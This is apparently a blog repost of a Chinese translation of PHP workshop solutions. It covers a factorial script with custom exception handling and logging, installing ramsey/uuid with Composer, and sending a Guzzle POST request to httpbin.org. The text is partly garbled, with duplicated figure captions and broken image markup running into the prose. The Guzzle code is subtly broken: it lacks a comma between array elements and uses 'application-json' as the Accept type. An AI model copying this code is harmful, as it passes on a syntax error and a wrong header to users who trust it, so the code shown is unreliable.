    我们使用is_numeric()来检查输入是否为整数或数值字符串,如果验证失败则抛出NotANumber异常。然后,我们验证输入是否为小数,因为我们只想允许整数。为了实现这一点,我们必须“转换”潜在的字符串数字为整数或浮点类型之一,因此我们将数字乘以数值1,这样 PHP 会自动为我们转换输入。检查我们是否处理小数的一种方法是在输入中查找小数分隔符,使用内置的strpos()函数。在十进制值的情况下,我们抛出DecimalNumber异常。然后,如果输入数字小于1,我们抛出NumberIsZeroOrNegative异常。到此步骤,验证结束,我们可以继续计算。

  9. 一旦验证完成,继续进行阶乘数计算,然后返回:

        $factorial = 1;
        for ($i = 2; $i <= $number; $i++) {
            $factorial *= $i;
        }
        return $factorial;
    }
    

    使用for循环将$factorial变量通过其迭代乘以,直到$i达到提供的$number输入值。

    注意

    我们使用$factorial *= $i;的表示法,这相当于更冗长的表示法——$factorial = $factorial * $i;

  10. 考虑从第二个元素开始的输入参数,因为第一个是脚本名称。如果没有提供输入参数,则打印错误消息,要求输入参数:

    $arguments = array_slice($argv, 1);
    if (!count($arguments)) {
        printError('At least one number is required.');
    
  11. 否则,遍历输入参数并调用calculateFactorial()函数,其结果将被打印:

    } else {
        foreach ($arguments as $argument) {
            try {
                $factorial = calculateFactorial($argument);
                echo $argument, '! = ', $factorial, PHP_EOL;
    

    由于我们预计会抛出异常,因此将calculateFactorial()函数包裹在try块中,我们希望最终捕获它。请记住,我们必须为每个输入参数显示一个输出值,因此,在某个参数出现错误的情况下,我们希望能够继续执行脚本到下一个参数。

  12. 捕获之前定义的任何自定义异常并打印错误消息:

            } catch (NotANumber | DecimalNumber | NumberIsZeroOrNegative $e) {
                printError(sprintf('[%s]: %s', get_class($e),               $e->getMessage()));
    
  13. 捕获任何其他异常,并将其发送到异常处理器以记录到文件并打印一个通用的错误消息,该消息将突出显示抛出意外异常的当前参数:

            } catch (Throwable $e) {
                printError("Unexpected error occured for [$argument]               input number.");
                $exceptionHandler($e);
            }
        }
    }
    
  14. 执行以下命令:

    php factorial.php; 
    

    输出如下:

    ![图 8.38:不带参数执行脚本 图片

    ![图 8.38:不带参数执行脚本 由于没有向脚本传递任何参数,屏幕上打印了适当的错误消息。1. 使用php factorial.php 1 2 3 20 21 -1 4.2 4th four运行脚本,预期以下输出:![图 8.39:打印整数值的阶乘图片

![图 8.39:打印整数值的阶乘在这种情况下,提供了一系列参数,从1开始,以4结束。正如预期的那样,对于每个参数,都会打印一行新内容,包含响应或错误。这里有趣的一行是参数21的行,我们得到了一个没有给出太多细节的Unexpected error消息。我们应该查看日志文件以查看相关数据:图 8.40:输入值“21”的数据

图 8.40:输入值“21”的数据

这里的投诉涉及calculateFactorial()函数返回float类型,而预期的是int类型。这是因为21的阶乘结果(51090942171709440000)高于 PHP 引擎可以处理的最大整数(php -r 'echo PHP_INT_MAX;'将输出 9223372036854775807),因此被转换为浮点类型并以科学记数法表示(5.1090942171709E+19)。由于calculateFactorial()函数已将返回类型声明为int,因此返回的浮点类型值导致了TypeError,现在我们可以决定对输入参数应用额外条件,限制最大值为20,当数值更高时抛出自定义异常,或者检查calculateFactorial()中的阶乘类型,在返回值之前抛出自定义异常。

在这个活动中,你通过向用户输出打印漂亮的错误消息来改善了用户体验,即使在意外错误的情况下。此外,在意外错误的情况下,错误消息被记录到日志文件中,以便开发者可以检查它们,并根据这些数据重现问题,然后提出脚本修复或改进方案。

9. Composer

活动 9.1:实现一个生成 UUID 的包

解决方案

  1. 运行以下命令:

    composer require ramsey/uuid
    

    输出如下:

    图 9.17:要求包

    图 9.17:要求包

  2. 使用以下命令在你的 vendor 目录中列出包:

    ls -lart vendor
    

    输出如下:

    图 9.18:列出包

    图 9.18:列出包

  3. 编辑Example.php文件,添加use ramsey/uuid/uuid语句,并添加一个类似于printUuid()的方法,如下所示:

    Example.php
    1  <?php
    2 
    3  namespace Packt;
    4 
    5  use Monolog\Logger;
    6  use Ramsey\Uuid\Uuid;
    7 
    8  class Example
    9  {
    10     protected $logger;
    11     public function __construct(Logger $logger)
    12     {
    13         $this->logger = $logger;
    14     }
    https://packt.live/33Hk6Ev
    
  4. 编辑你的index.php文件,添加对printUuid()的调用:

    <?php
    require 'vendor/autoload.php';
    use Monolog\Logger;
    use Monolog\Handler\StreamHandler;
    use Packt\Example;
    $logger = new Logger('application_log');
    $logger->pushHandler(new StreamHandler('.logs/app.log', Logger::INFO));
    $e = new Example($logger);
    $e->doSomething();
    $e->printUuid();
    
  5. 运行php index.php。生成的 UUID 将与截图中的不同,但应遵循类似的格式:

图 9.19:打印 UUID

图 9.19:打印 UUID

10. 网络服务

活动 10.1:向 httpbin.org 发送自己的 POST 请求

解决方案

  1. guzzle-example目录中创建一个httpbin.php文件。要求 Composer 自动加载文件并导入Guzzle Client类:

    <?php
    require 'vendor/autoload.php';
    use GuzzleHttp\Client;
    
  2. 通过传递httpbin地址来实例化一个新的Guzzle Client

    $client = new Client(['base_uri'=>'http://httpbin.org/']);
    
  3. trycatch块中,向/response-headers端点发送一个POST请求。添加一个Accept头,设置为application/json,并设置两个查询参数键值对,其中firstJohnlastDoe

    try
    {
        $response=$client->request('POST', '/response-headers',[
            'headers'=>[
                'Accept'=>'application-json'
            ]
            'query'=> [
                'first'=>'John',
                'last'=>'Doe'
            ]
        ]);
    
  4. 检查 HTTP 状态码是否不是 200,如果是,则抛出异常:

        if ($response->getStatusCode()!==200){
            throw new Exception("Status code was {$response->getStatusCode()},           not 200");
        }
    
  5. 使用json_decode()将响应体解析为对象,并存储在一个变量中:

        $responseObject=json_decode($response->getBody()->getContents());
    
  6. 输出一个字符串,The web service responded with,与响应对象中的第一个和最后一个属性连接:

        echo "The web service responded with {$responseObject->first}       {$responseObject->last}".PHP_EOL;
    }
    catch(Exception $ex)
    {
        echo "An error occurred: ".$ex->getMessage().PHP_EOL;
    }
    
  7. 运行脚本并查看输出是否包含John Doe

图 10.13:脚本的输出

图 10.13:脚本的输出

posted @ 2025-09-07 09:18  绝不原创的飞龙  阅读(3)  评论(0)    收藏  举报